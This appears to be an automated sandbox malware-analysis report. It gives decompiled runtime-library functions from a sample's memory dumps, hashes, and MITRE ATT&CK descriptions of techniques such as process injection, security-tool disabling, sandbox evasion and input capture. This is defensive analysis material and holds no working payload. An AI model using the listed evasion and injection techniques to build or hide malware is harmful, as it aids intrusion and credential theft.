0x00000000
0x004124e1
0x0041256c
0x00412571
0x00412575
0x00412578
0x00412579
0x0041257a
0x0041257b
0x00412580
0x004125f8
0x004125fa
0x00412582
0x00412582
0x00412588
0x00000000
0x0041258a
0x0041258d
0x00412590
0x00412597
0x0041259a
0x0041259e
0x004125d0
0x004125d3
0x004125da
0x004125e0
0x004125ea
0x004125f3
0x004125f3
0x004125ea
0x004125e0
0x004125f4
0x004125a0
0x004125a0
0x004125a0
0x004125a3
0x004125a3
0x004125a7
0x00000000
0x00000000
0x004125ab
0x004125bf
0x004125bf
0x004125ad
0x004125ad
0x004125b3
0x00000000
0x004125b5
0x004125b5
0x004125b8
0x004125bd
0x00000000
0x00000000
0x00000000
0x00000000
0x004125bd
0x004125b3
0x004125c8
0x004125ca
0x00000000
0x004125cc
0x004125cc
0x004125cc
0x00000000
0x004125ca
0x004125c3
0x004125c5
0x00000000
0x004125c5
0x00000000
0x00000000
0x00000000
0x00412590
0x00412588
0x004125fb
0x004125ff
0x004125ff

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00412461

Strings

MOC, xrefs: 00412473
RCC, xrefs: 0041247B

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: d37859f17b73b2261ae4de6e8b7725f06e85962f159cea2480b8e6cc5e9693cb
Instruction ID: bb5014c6aab84a82a8e7b74ed228e9cfa815d3470b1d6d808257bd49c450617e
Opcode Fuzzy Hash: d37859f17b73b2261ae4de6e8b7725f06e85962f159cea2480b8e6cc5e9693cb
Instruction Fuzzy Hash: 03417D71900109AFCF16DF98CE81EEEBBB5FF48304F14806AF905A7251D3799AA1DB54

Uniqueness

Uniqueness Score: -1.00%

Function 1000447B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 58%

			E1000447B(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t74;
				void* _t75;
				char _t76;
				signed char _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t96;
				signed char _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed char _t108;
				signed char* _t111;
				signed int _t112;
				void* _t113;
				signed char* _t116;
				void* _t121;
				signed int _t123;
				void* _t130;
				void* _t131;

				_t110 = __edx;
				_t100 = __ecx;
				_t96 = _a4;
				if( *_t96 == 0x80000003) {
					return _t74;
				} else {
					_push(_t121);
					_push(_t113);
					_t75 = E10003D8C(_t96, __ecx, __edx, _t113, _t121);
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t121 = _t75;
						if( *((intOrPtr*)(E10003D8C(_t96, __ecx, __edx, 0, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
							_t87 = E100033F6(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
							_t130 = _t130 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E10003329(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
						_t112 = _v36;
						_t131 = _t130 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t112;
						if(_t112 < _v28) {
							_t102 = _t112 * 0x14;
							_v12 = _t102;
							do {
								_t103 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
								_t131 = _t131 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t108 = _t93[4];
									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push("true");
											E10004051(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t112 = _v8;
											_t131 = _t131 + 0x30;
										}
									}
								}
								_t112 = _t112 + 1;
								_t87 = _v16;
								_t102 = _v12 + 0x14;
								_v8 = _t112;
								_v12 = _t102;
							} while (_t112 < _v28);
						}
						goto L16;
					}
					E100068B8(_t96, _t100, _t110, 0, _t121);
					asm("int3");
					_t111 = _v68;
					_push(_t96);
					_push(_t121);
					_push(0);
					_t78 = _t111[4];
					if(_t78 == 0) {
						L41:
						_t80 = 1;
					} else {
						_t101 = _t78 + 8;
						if( *_t101 == 0) {
							goto L41;
						} else {
							_t116 = _a4;
							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
								_t97 = _t116[4];
								_t123 = 0;
								if(_t78 == _t97) {
									L33:
									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
										_t81 = _a8;
										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
												_t123 = 1;
											}
										}
									}
									_t80 = _t123;
								} else {
									_t59 = _t97 + 8; // 0x6e
									_t82 = _t59;
									while(1) {
										_t98 =  *_t101;
										if(_t98 !=  *_t82) {
											break;
										}
										if(_t98 == 0) {
											L29:
											_t83 = _t123;
										} else {
											_t99 =  *((intOrPtr*)(_t101 + 1));
											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t101 = _t101 + 2;
												_t82 = _t82 + 2;
												if(_t99 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									goto L31;
								}
							} else {
								goto L41;
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x1000447b
0x1000447b
0x10004482
0x1000448b
0x100045aa
0x10004491
0x10004491
0x10004492
0x10004493
0x1000449d
0x100044a0
0x100044a6
0x100044b0
0x100044d5
0x100044da
0x100044df
0x100045a6
0x00000000
0x100045a7
0x100044df
0x100044b0
0x100044e5
0x100044e8
0x100044eb
0x100044f1
0x100044f7
0x10004509
0x1000450e
0x10004511
0x10004514
0x10004517
0x1000451a
0x10004520
0x10004526
0x10004529
0x1000452c
0x1000453b
0x1000453c
0x1000453c
0x10004541
0x10004554
0x10004556
0x1000455b
0x10004566
0x10004568
0x1000456a
0x10004586
0x1000458b
0x1000458e
0x1000458e
0x10004566
0x1000455b
0x10004594
0x10004595
0x10004598
0x1000459b
0x1000459e
0x100045a1
0x1000452c
0x00000000
0x10004520
0x100045ab
0x100045b0
0x100045b4
0x100045b7
0x100045b8
0x100045b9
0x100045ba
0x100045bf
0x10004637
0x10004639
0x100045c1
0x100045c1
0x100045c7
0x00000000
0x100045c9
0x100045cc
0x100045cf
0x100045d6
0x100045d9
0x100045dd
0x1000460f
0x10004612
0x10004619
0x1000461f
0x10004629
0x10004632
0x10004632
0x10004629
0x1000461f
0x10004633
0x100045df
0x100045df
0x100045df
0x100045e2
0x100045e2
0x100045e6
0x00000000
0x00000000
0x100045ea
0x100045fe
0x100045fe
0x100045ec
0x100045ec
0x100045f2
0x00000000
0x100045f4
0x100045f4
0x100045f7
0x100045fc
0x00000000
0x00000000
0x00000000
0x00000000
0x100045fc
0x100045f2
0x10004607
0x10004609
0x00000000
0x1000460b
0x1000460b
0x1000460b
0x00000000
0x10004609
0x10004602
0x10004604
0x00000000
0x10004604
0x00000000
0x00000000
0x00000000
0x100045cf
0x100045c7
0x1000463a
0x1000463e
0x1000463e

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 100044A0

Strings

MOC, xrefs: 100044B2
RCC, xrefs: 100044BA

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: b5ef215a2816fb75be8d794751c3b8aa5bcadaf7074610592d3d5c115b7c7d76
Instruction ID: cb0f82cb1ee102d8320b3a7f619d438e5f56ab82e09b9abaac010858dbe8e2e0
Opcode Fuzzy Hash: b5ef215a2816fb75be8d794751c3b8aa5bcadaf7074610592d3d5c115b7c7d76
Instruction Fuzzy Hash: EF418AB1900609EFEF02CF94CC81A9EBBB5FF48385F168159F9046721ADB35AA60CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00403F10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00403F10(intOrPtr _a4) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				char _v48;
				void* __ecx;
				void* __ebp;
				signed int _t34;
				signed int _t42;
				void* _t52;
				intOrPtr _t61;
				intOrPtr _t68;
				intOrPtr _t69;
				signed int _t74;
				void* _t75;

				_push(0xffffffff);
				_push(0x42c38f);
				_push( *[fs:0x0]);
				_push(_t61);
				_t34 =  *0x43d054; // 0x298e9dc2
				_push(_t34 ^ _t72);
				 *[fs:0x0] =  &_v16;
				_t68 = _t61;
				_v20 = _t68;
				E0040E023(_t61, 0);
				_v8 = 0;
				 *((intOrPtr*)(_t68 + 4)) = 0;
				 *((char*)(_t68 + 8)) = 0;
				 *((intOrPtr*)(_t68 + 0xc)) = 0;
				 *((char*)(_t68 + 0x10)) = 0;
				 *((intOrPtr*)(_t68 + 0x14)) = 0;
				 *((short*)(_t68 + 0x18)) = 0;
				 *((intOrPtr*)(_t68 + 0x1c)) = 0;
				 *((short*)(_t68 + 0x20)) = 0;
				 *((intOrPtr*)(_t68 + 0x24)) = 0;
				 *((char*)(_t68 + 0x28)) = 0;
				 *((intOrPtr*)(_t68 + 0x2c)) = 0;
				 *((char*)(_t68 + 0x30)) = 0;
				_t39 = _a4;
				_v8 = 6;
				if(_a4 == 0) {
					E0040DFD6("bad locale name");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0xffffffff);
					_push(0x42c3b0);
					_push( *[fs:0x0]);
					_push(_t68);
					_t42 =  *0x43d054; // 0x298e9dc2
					_push(_t42 ^ _t74);
					 *[fs:0x0] =  &_v48;
					_t69 = _t61;
					E0040E351(_t61, _t69);
					_t46 =  *((intOrPtr*)(_t69 + 0x2c));
					_t75 = _t74 + 4;
					if( *((intOrPtr*)(_t69 + 0x2c)) != 0) {
						E00415EF8(_t46);
						_t75 = _t75 + 4;
					}
					 *((intOrPtr*)(_t69 + 0x2c)) = 0;
					_t47 =  *((intOrPtr*)(_t69 + 0x24));
					if( *((intOrPtr*)(_t69 + 0x24)) != 0) {
						E00415EF8(_t47);
						_t75 = _t75 + 4;
					}
					 *((intOrPtr*)(_t69 + 0x24)) = 0;
					_t48 =  *((intOrPtr*)(_t69 + 0x1c));
					if( *((intOrPtr*)(_t69 + 0x1c)) != 0) {
						E00415EF8(_t48);
						_t75 = _t75 + 4;
					}
					 *((intOrPtr*)(_t69 + 0x1c)) = 0;
					_t49 =  *((intOrPtr*)(_t69 + 0x14));
					if( *((intOrPtr*)(_t69 + 0x14)) != 0) {
						E00415EF8(_t49);
						_t75 = _t75 + 4;
					}
					 *((intOrPtr*)(_t69 + 0x14)) = 0;
					_t50 =  *((intOrPtr*)(_t69 + 0xc));
					if( *((intOrPtr*)(_t69 + 0xc)) != 0) {
						E00415EF8(_t50);
						_t75 = _t75 + 4;
					}
					 *((intOrPtr*)(_t69 + 0xc)) = 0;
					_t51 =  *((intOrPtr*)(_t69 + 4));
					if( *((intOrPtr*)(_t69 + 4)) != 0) {
						E00415EF8(_t51);
					}
					 *((intOrPtr*)(_t69 + 4)) = 0;
					_t52 = E0040E07B(_t69);
					 *[fs:0x0] = _v20;
					return _t52;
				} else {
					E0040E306(_t61, _t68, _t39);
					 *[fs:0x0] = _v16;
					return _t68;
				}
			}

0x00403f13
0x00403f15
0x00403f20
0x00403f21
0x00403f23
0x00403f2a
0x00403f2e
0x00403f34
0x00403f36
0x00403f3b
0x00403f40
0x00403f47
0x00403f4e
0x00403f52
0x00403f59
0x00403f5f
0x00403f66
0x00403f6a
0x00403f6d
0x00403f71
0x00403f74
0x00403f77
0x00403f7a
0x00403f7d
0x00403f80
0x00403f86
0x00403fab
0x00403fb0
0x00403fb1
0x00403fb2
0x00403fb3
0x00403fb4
0x00403fb5
0x00403fb6
0x00403fb7
0x00403fb8
0x00403fb9
0x00403fba
0x00403fbb
0x00403fbc
0x00403fbd
0x00403fbe
0x00403fbf
0x00403fc3
0x00403fc5
0x00403fd0
0x00403fd1
0x00403fd2
0x00403fd9
0x00403fdd
0x00403fe3
0x00403fe6
0x00403feb
0x00403fee
0x00403ff3
0x00403ff6
0x00403ffb
0x00403ffb
0x00403ffe
0x00404005
0x0040400a
0x0040400d
0x00404012
0x00404012
0x00404015
0x0040401c
0x00404021
0x00404024
0x00404029
0x00404029
0x0040402c
0x00404033
0x00404038
0x0040403b
0x00404040
0x00404040
0x00404043
0x0040404a
0x0040404f
0x00404052
0x00404057
0x00404057
0x0040405a
0x00404061
0x00404066
0x00404069
0x0040406e
0x00404073
0x0040407a
0x00404082
0x0040408e
0x00403f88
0x00403f8a
0x00403f97
0x00403fa3
0x00403fa3

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00403F3B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00403F8A

Part of subcall function 0040E306: _Yarn.LIBCPMT ref: 0040E325
Part of subcall function 0040E306: _Yarn.LIBCPMT ref: 0040E349

Strings

bad locale name, xrefs: 00403FA6

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 15047d3cab3a388f747ec954ab582be22dbdc6aaa037a05627440b292bcde390
Instruction ID: e6b9389b2c08e2ef135e9b23a3149de409d0f8b0078f9c25d55f73f6ca183cce
Opcode Fuzzy Hash: 15047d3cab3a388f747ec954ab582be22dbdc6aaa037a05627440b292bcde390
Instruction Fuzzy Hash: 9A119171904B849FD320CF69C801747BBF4EB19714F008A2EE84AD3B81D7B9A504CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041FFAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041FFAB(void* _a4, char _a8) {
				void* _t4;
				void* _t13;
				long _t15;

				_t13 = _a4;
				if(_t13 != 0) {
					_t3 =  &_a8; // 0x450d61
					_t15 =  *_t3;
					__eflags = _t15;
					if(_t15 != 0) {
						__eflags = _t15 - 0xffffffe0;
						if(__eflags <= 0) {
							while(1) {
								_t4 = HeapReAlloc( *0x450ce0, 0, _t13, _t15);
								__eflags = _t4;
								if(_t4 != 0) {
									break;
								}
								__eflags = E0041C651();
								if(__eflags == 0) {
									goto L5;
								}
								__eflags = E0041A08C(__eflags, _t15);
								if(__eflags == 0) {
									goto L5;
								}
							}
							L7:
							return _t4;
						}
						L5:
						 *((intOrPtr*)(E00413571(__eflags))) = 0xc;
						L6:
						_t4 = 0;
						__eflags = 0;
						goto L7;
					}
					E0041E238(_t13);
					goto L6;
				}
				_t2 =  &_a8; // 0x450d61
				return E0041ECAF( *_t2);
			}

0x0041ffb1
0x0041ffb6
0x0041ffc4
0x0041ffc4
0x0041ffc7
0x0041ffc9
0x0041ffd4
0x0041ffd7
0x0041fffe
0x00420008
0x0042000e
0x00420010
0x00000000
0x00000000
0x0041ffef
0x0041fff1
0x00000000
0x00000000
0x0041fffa
0x0041fffc
0x00000000
0x00000000
0x0041fffc
0x0041ffe6
0x00000000
0x0041ffe6
0x0041ffd9
0x0041ffde
0x0041ffe4
0x0041ffe4
0x0041ffe4
0x00000000
0x0041ffe4
0x0041ffcc
0x00000000
0x0041ffd1
0x0041ffb8
0x00000000

APIs

_free.LIBCMT ref: 0041FFCC

Part of subcall function 0041ECAF: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040FF1B,?,?,?,?,?,00403757,?,?,?), ref: 0041ECE1

HeapReAlloc.KERNEL32(00000000,?,aE,00000004,00000000,?,00424F45,?,00000004,00000000,00000001,?,?,0041A951,00000001,00000000), ref: 00420008

Strings

aE, xrefs: 0041FFC4, 0041FFB8, 0041FFF3, 0041FFFE

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Heap$AllocAllocate_free
String ID: aE
API String ID: 2447670028-88912727
Opcode ID: 539fec9d95538e17a96f0b4ae061adb5a37bed14c9de00bd151d05c67d12c0e3
Instruction ID: fc3a1acb1b5d13a89390b8b8f549daffd1b152a2490f76070813897bb1f9899a
Opcode Fuzzy Hash: 539fec9d95538e17a96f0b4ae061adb5a37bed14c9de00bd151d05c67d12c0e3
Instruction Fuzzy Hash: 3DF0F636205115A68B312A279C00EEB37199FD3BB4F22013BF81596291DEBCC8C785AE

Uniqueness

Uniqueness Score: -1.00%

Function 004243F9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004243F9(void* __eflags, int _a4) {
				char _v8;
				intOrPtr _v16;
				char _v20;
				int _t10;
				void* _t14;

				_t1 =  &_v20; // 0x42466a
				E004135A1(_t1, _t14, 0);
				 *0x450cc0 =  *0x450cc0 & 0x00000000;
				_t10 = _a4;
				if(_t10 != 0xfffffffe) {
					if(_t10 != 0xfffffffd) {
						if(_t10 == 0xfffffffc) {
							 *0x450cc0 = 1;
							_t10 =  *(_v16 + 8);
						}
					} else {
						 *0x450cc0 = 1;
						_t10 = GetACP();
					}
				} else {
					 *0x450cc0 = 1;
					_t10 = GetOEMCP();
				}
				if(_v8 == 0) {
					return _t10;
				} else {
					_t6 =  &_v20; // 0x42466a
					 *( *_t6 + 0x350) =  *( *_t6 + 0x350) & 0xfffffffd;
					return _t10;
				}
			}

0x00424401
0x00424406
0x0042440b
0x00424412
0x00424418
0x0042442f
0x00424446
0x0042444b
0x00424455
0x00424455
0x00424431
0x00424431
0x0042443b
0x0042443b
0x0042441a
0x0042441a
0x00424424
0x00424424
0x0042445c
0x00424469
0x0042445e
0x0042445e
0x00424461
0x00000000
0x00424461

APIs

GetOEMCP.KERNEL32(00000000,0042466A,00000000,00418114,?,?,00418114,?,00000000), ref: 00424424
GetACP.KERNEL32(00000000,0042466A,00000000,00418114,?,?,00418114,?,00000000), ref: 0042443B

Strings

jFB, xrefs: 00424401, 0042445E

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID:
String ID: jFB
API String ID: 0-2230345691
Opcode ID: 68332179f40c49eab4e966d4ddaa84e174b0e6e01ad48db93ae2ad237c21ce19
Instruction ID: b0cbe97a3a297516b13a94136188ad5a036869027f8c6976d93b98f7daab7f63
Opcode Fuzzy Hash: 68332179f40c49eab4e966d4ddaa84e174b0e6e01ad48db93ae2ad237c21ce19
Instruction Fuzzy Hash: 4AF096306002149BDB15EB64F8487AD7770FB9133AFA00755E035872E2CBB59945CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00403D90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00403D90(intOrPtr* __ecx, intOrPtr _a4) {
				intOrPtr* _t16;
				intOrPtr _t18;

				_t18 = _a4;
				asm("xorps xmm0, xmm0");
				_t16 = __ecx;
				 *__ecx = 0x42e2d4;
				asm("movq [eax], xmm0");
				E0040FEF1(_t18 + 4, __ecx + 4);
				 *_t16 = 0x439c9c;
				 *((intOrPtr*)(_t16 + 0xc)) =  *((intOrPtr*)(_t18 + 0xc));
				 *((intOrPtr*)(_t16 + 0x10)) =  *((intOrPtr*)(_t18 + 0x10));
				 *_t16 = 0x439d08;
				return _t16;
			}

0x00403d94
0x00403d97
0x00403d9b
0x00403da1
0x00403da7
0x00403daf
0x00403db4
0x00403dc3
0x00403dc8
0x00403dcb
0x00403dd4

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00403DAF

Strings

`=@, xrefs: 00403DCB
`=@, xrefs: 00403DB4

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: `=@$`=@
API String ID: 2659868963-2373854662
Opcode ID: 1835fe25a9934417243cb9c6f582fe7e11a76f86523e3a81444904ea1aba1888
Instruction ID: 05f9ae4e7c976d1bafa1cd320e8fd0d4b1db56fbaf48c0290a4ace6a9f75f361
Opcode Fuzzy Hash: 1835fe25a9934417243cb9c6f582fe7e11a76f86523e3a81444904ea1aba1888
Instruction Fuzzy Hash: 53F01CB6A10709ABC700CF59D400882F7ECFF59310310C62BE519D7B00E7B4B8548BA4

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre
